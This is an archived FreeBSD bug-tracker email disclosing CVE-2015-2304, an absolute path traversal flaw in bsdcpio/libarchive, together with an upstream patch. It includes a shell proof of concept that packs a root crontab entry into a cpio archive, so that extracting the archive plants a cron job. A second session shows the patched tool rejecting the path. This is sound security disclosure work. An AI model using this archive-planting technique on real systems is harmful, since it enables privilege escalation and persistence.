From owner-freebsd-bugs@freebsd.org Mon Jan 18 23:57:27 2016 Return-Path: Delivered-To: freebsd-bugs@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id 0B7F9A87873 for ; Mon, 18 Jan 2016 23:57:27 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2001:1900:2254:206a::16:76]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EED9E1BD9 for ; Mon, 18 Jan 2016 23:57:26 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from bugs.freebsd.org ([127.0.1.118]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id u0INvQYA029814 for ; Mon, 18 Jan 2016 23:57:26 GMT (envelope-from bugzilla-noreply@freebsd.org) From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 206386] vendor/libarchive: directory traversal vulnerability/local denial of services Date: Mon, 18 Jan 2016 23:57:27 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: bin X-Bugzilla-Version: 11.0-CURRENT X-Bugzilla-Keywords: patch, security X-Bugzilla-Severity: Affects Many People X-Bugzilla-Who: junovitch@freebsd.org X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: freebsd-bugs@FreeBSD.org X-Bugzilla-Flags: mfc-stable9? mfc-stable10? X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status keywords bug_severity priority component assigned_to reporter cc flagtypes.name attachments.created Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.20 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Jan 2016 23:57:27 -0000 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D206386 Bug ID: 206386 Summary: vendor/libarchive: directory traversal vulnerability/local denial of services Product: Base System Version: 11.0-CURRENT Hardware: Any OS: Any Status: New Keywords: patch, security Severity: Affects Many People Priority: --- Component: bin Assignee: freebsd-bugs@FreeBSD.org Reporter: junovitch@freebsd.org CC: secteam@FreeBSD.org Flags: mfc-stable9?, mfc-stable10? Created attachment 165785 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D165785&action= =3Dedit vendor/libarchive/dist: Apply CVE-2015-2304 patch Affects: All supported versions of FreeBSD CVE Name: CVE-2015-2304 Problem Description: Absolute path traversal vulnerability in bsdcpio in libarchive 3.1.2 and earlier allows remote attackers to write to arbitrary files via a full path= name in an archive.=20 Impact: The issue could be exploited to write arbitrary files as the user invoking = cpio against a specially crafted cpio archive, which would be leveraged to obtain elevated privileges. Workaround No workaround is available, but systems where a privileged user does not make use of cpio archives without proper validation are not affected. References: - https://github.com/libarchive/libarchive/pull/110 - https://github.com/libarchive/libarchive/commit/5935715 - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2015-2304 COMMIT LOG FOR ATTACHED PATCH: Apply upstream changeset 5935715: Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option This fixes a directory traversal in the cpio tool. PR: XXXXXX Security: CVE-2015-2304 Note: I would be more then glad to commit the patch with an 'Approved by' f= or src and MFV from head/contrib/libarchive with svn merge -c rXXXXXX ^/vendor/libarchive/dist . EXAMPLE BEFORE: ##### Generate something for the Proof of concept # echo '*/1 * * * * echo "Do something evil" > /etc/evil.txt' > /var/cron/tabs/root ##### Package it up # echo '/var/cron/tabs/root' | cpio -ov > test.cpio=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 ##### Clean up # rm /var/cron/tabs/root ##### Show it's not there yet # cat /etc/evil.txt cat: /etc/evil.txt: No such file or directory ##### Unpackage our "trojaned" file # cpio -iv < test.cpio=20 /var/cron/tabs/root 1 block ##### Show it's in place # cat /var/cron/tabs/root */1 * * * * echo "Do something evil" > /etc/evil.txt ##### Since this didn't update spool dir mtime, be impatient and restart cr= on to see the impact # service cron restart # cat /etc/evil.txt Do something evil EXAMPLE AFTER: ##### Unpackage our "trojaned" file # /usr/local/bin/bsdcpio -iv < test.cpio=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20 /var/cron/tabs/root /var/cron/tabs/root: Path is absolute 1 block ##### Show it's in place # cat /var/cron/tabs/root cat: /var/cron/tabs/root: No such file or directory Note, /usr/local/bin/bsdcpio is the patched variant I just committed with t= he same patch in ports (https://svnweb.FreeBSD.org/changeset/ports/406624). --=20 You are receiving this mail because: You are the assignee for the bug.=